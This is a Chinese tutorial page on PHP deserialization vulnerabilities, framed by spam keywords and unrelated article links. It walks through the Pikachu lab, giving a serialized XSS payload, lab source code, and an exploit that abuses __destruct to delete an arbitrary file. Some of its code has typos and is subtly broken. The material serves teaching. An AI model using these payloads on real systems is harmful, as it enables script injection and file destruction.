当前位置: 首页 > news >正文

大型建站公司公司网站建设多少钱

大型建站公司,公司网站建设多少钱,建设鲜花网站前的市场分析,深喉咙企业网站生成系统文章目录 1、php反序列化概述2、实战3、关于Magic function4、__wakeup()和destruct() 1、php反序列化概述 在理解这个漏洞前,首先搞清楚php中serialize(),unserialize()这两个函数。 (1)序列化serialize():就是把一个…

文章目录

  • 1、php反序列化概述
  • 2、实战
  • 3、关于Magic function
  • 4、__wakeup()和destruct()

1、php反序列化概述

  在理解这个漏洞前,首先搞清楚php中serialize()unserialize()这两个函数。

(1)序列化serialize():就是把一个对象变成可以传输的字符串。比如下面是一个对象:

    class S{public $test="pikachu";}$s=new S(); //创建一个对象serialize($s); //把这个对象进行序列化序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}O:代表类1:代表类名字长度为一个字符S:类的名称1:代表类里面有一个变量s:数据类型4:变量名称的长度test:变量名称s:数据类型7:变量值的长度pikachu:变量值

(2)反序列化unserialize():就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

$u=unserialize("O":1:"S":1:{s:4:"test";s:7:"pikachu";});
echo $u->test; //得到的结果为pikachu

  序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。
漏洞举例:

class S{var $test = "pikachu";function __destruct(){echo $this->test;}
}
$s = $_GET['test'];
@$unser = unserialize($a);payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

2、实战

(1)使用payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

在这里插入图片描述

(2)查看源码;

<?php
/*** Created by runner.han* There is nothing new under the sun*/$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);if ($SELF_PAGE = "unser.php"){$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}$PIKA_ROOT_DIR =  "../../";
include_once $PIKA_ROOT_DIR.'header.php';class S{var $test = "pikachu";function __construct(){       echo $this->test;      }
}
$html='';
if(isset($_POST['o'])){$s = $_POST['o'];if(!@$unser = unserialize($s)){$html.="<p>大兄弟,来点劲爆点儿的!</p>";}else{$html.="<p>{$unser->test}</p>";       }
}
?>

  源码分析:简单来说,我们传入成功的反序列化字符串s,就会执行到else里面对其进行打印输出。

(3)构造反序列化payload。

<?php
class S{var $test = "pikachu";
}
$f = new S();
$payload = "<script>alert(1)</script>";
$f->test=$payload;
echo serialize($f);
?>

  上述代码:f实例化S类,然后重写类中的S,再对对象f进行序列化;序列化结果:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

(3)执行payload。

在这里插入图片描述

(4)分析
  页面会弹框的主要原因是$html.="<p>{$unser->test}</p>"; 。而不是__construct()函数,因为在unserialize()时是不会自动调用。

在这里插入图片描述
  可以看到{$unser->test}的的结果就是<script>alert('xss')</script>

3、关于Magic function

  常见的几个魔法函数:

  • __construct()当一个对象创建时被调用,但在unserialize()时是不会自动调用的(构造函数)
  • __destruct()当一个对象销毁时被调用
  • __toString()当一个对象被当作一个字符串使用
  • __sleep()在对象在被序列化之前运行
  • __wakeup将在序列化之后立即被调用
<?php 
class people{public $name = "f1r3K0";public $age = '18';function __wakeup(){echo "__wakeup()";}function __construct(){echo "__consrtuct()";}function __destruct(){echo "__destruct()";}function __toString(){echo "__toString";}/*function __sleep(){echo "__sleep";}*/
}
$class =  new people();
$class_ser = serialize($class);
print_r($class_ser);
$class_unser = unserialize($class_ser);
print_r($class_unser);
?>

运行结果如下:
在这里插入图片描述
  从运行结果来看,我们可以看出unserialize函数是优先调用__wakeup()再进行的反序列化字符串。同时,对于其他方法的调用顺序也一目了然了。(注意:这里将sleep注释掉了,因为sleep会在序列化的时候调用,因此执行sleep方法就不会再执行序列以及之后的操作了。)

4、__wakeup()和destruct()

  unserialize()后会导致wakeup() destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在wakeup()destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。我们这里直接使用参考文章的例子,代码如下:

//logfile.php删除临时日志文件<?php
class LogFile {//log文件名public $filename = 'error.log';//存储日志文件public function LogData($text) {echo 'Log some data:' . $text . '<br />';file_put_contents($this->filename,$text,FILE_APPEND);}//Destructor删除日志文件public function _destruct() {echo '_destruct delete' . $this->filename . 'file.<br />';unlink(dirname(_FILE_) . '/' . $this->filename);//删除当前目录下的filename这个文件
?>
<?php
//包含了'logfile.php'的主页面文件index.php<?php
include 'logfile.php';
class User {//属性public $age = o;public $name = '';//调用函数来输出类中属性public function PrintData() {echo 'User' . $this->name . 'is' . $this->age . 'years old.<br />';}
}
$usr = unserialize($_GET['user']);
?>

  index.php是一个有php序列化漏洞的主要文件,logfile.php的功能就是在临时日志文件被记录了之后调用 __destruct方法来删除临时日志的一个php文件。

  利用这个漏洞的方式就是,通过构造能够删除source.txt的序列化字符串,然后get方式传入被反序列化函数,反序列化为对象,对象销毁后调用__destruct()来删除source.txt

漏洞利用EXP:

<?phpinclude 'logfile.php';$obj = new LogFile();$obj->filename = 'source.txt'; //source.txt为你想删除的文件echo serialize($obj) . '<br /> ;
?>

  通过['GET']传入序列化字符串,调用反序列化函数来删除想要删除的文件。如图:

在这里插入图片描述

http://www.khdw.cn/news/8615.html

相关文章:

  • 绩效考核表 网站建设360搜索引擎地址
  • 重庆铜梁网站建设费用上海网站建设制作
  • 网站背景音乐怎么做安卓优化大师下载安装到手机
  • 四大门户网站的区别找合作项目app平台
  • wordpress wp_postmeta优化整站
  • 天津网站制作哪个好seo推广员是做什么的
  • PHP 网站搜索怎么做东莞互联网推广
  • html和css做的网站磁力猫
  • app开发做网站网络策划
  • 个人网站 如何做推广seo网站排名优化公司
  • 用css div做网站的首页百度指数网址是多少
  • 网站页面效果图怎么做营销软文是什么意思
  • asp.net怎样做网站登录打广告的免费软件
  • 用jsp实现网站开发实例网站友情链接美化代码
  • 北京网站建设维护关键词智能调词工具
  • 如何用python做网站脚本语言5118关键词挖掘工具
  • 郑州网站建设那家好谷歌关键词分析工具
  • 个人网站制作协议seo服务的内容
  • 扶贫基金会网站建设是哪家公司苏州网站关键字优化
  • 营销网站好不好西安新站网站推广优化
  • bs网站开发招聘sem扫描电子显微镜
  • 大良营销网站建设渠道今日头条官网登录入口
  • php动态网站开发实训做手机关键词快速排名软件
  • 罗村网站开发seo业务培训
  • 坪山网站建设哪家便宜网页seo搜索引擎优化
  • 做网站代理商搜索引擎优化包括
  • 做网站的工具怎么使用网站设计公司排名
  • wordpress 播放视频百度seo公司哪家强一点
  • 南宁企业建站程序汕头网站建设优化
  • 影视网站怎么做优化网络营销课程感悟